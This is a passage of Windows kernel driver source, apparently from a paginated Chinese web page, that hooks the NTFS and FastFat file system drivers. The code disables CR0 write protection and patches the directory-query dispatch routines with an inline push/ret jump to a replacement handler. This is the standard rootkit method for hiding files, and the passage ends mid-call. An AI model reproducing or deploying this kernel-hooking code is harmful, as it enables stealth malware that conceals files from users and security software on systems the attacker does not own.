_asm
                {
                    pushad
                    mov edi, OldFatQueryDirectoryDispatch
                    mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
                    mov [edi], eax
                    mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
                    mov [edi+4], ax
                    popad
                }
                return Status;
}

NTSTATUS PatchFileSystemDevicePatDispatch()
{
    NTSTATUS NtfsStatus;
    NTSTATUS FastFatStatus;
    UNICODE_STRING FileSystemName;
    PVOID FileDeviceObject;
    POBJECT_TYPE ObjectType;
   
        DbgPrint("My Driver Loaded!");

        RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" );

        NtfsStatus = ObReferenceObjectByName  ( 
                                &FileSystemName, 
                                0x40, 
                                NULL, 
                                NULL, 
                                &ObjectType, 
                                NULL, 
                                NULL, 
                                &FileDeviceObject );
        if  ( NtfsStatus == STATUS_SUCCESS )
        {

            _asm
        {
            pushad
            mov edi, FileDeviceObject
            mov eax, [edi+0x68]
            mov OldNtfsQueryDirectoryDispatch, eax
            popad
        }

   
            _asm
        {
            CLI                 
            MOV    EAX, CR0      
            AND EAX, NOT 10000H
            MOV    CR0, EAX     
        }

              _asm
        {
            pushad
            mov edi, OldNtfsQueryDirectoryDispatch
            mov eax, [edi]
            mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
            mov ax, [edi+4]
            mov word  ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
           
            mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
            lea edi, NewNtfsQueryDirectoryDispatch
            mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
            mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3

            mov edi, OldNtfsQueryDirectoryDispatch
            mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
            mov dword ptr[edi], eax
            mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
            mov word ptr[edi+4], ax
            popad
        }

            _asm
        {
            MOV    EAX, CR0      
            OR    EAX, 10000H         
            MOV    CR0, EAX              
            STI                  
        }
        }

        RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Fastfat" );

        FastFatStatus = ObReferenceObjectByName ( 
                                &FileSystemName, 
                                0x40, 
                                NULL, 
                                NULL, 
                                &ObjectType, 
                                NULL, 
                                NULL, 
                       &n

 << 上一页  [11] [12] [13] [14] [15] [16] [17] 下一页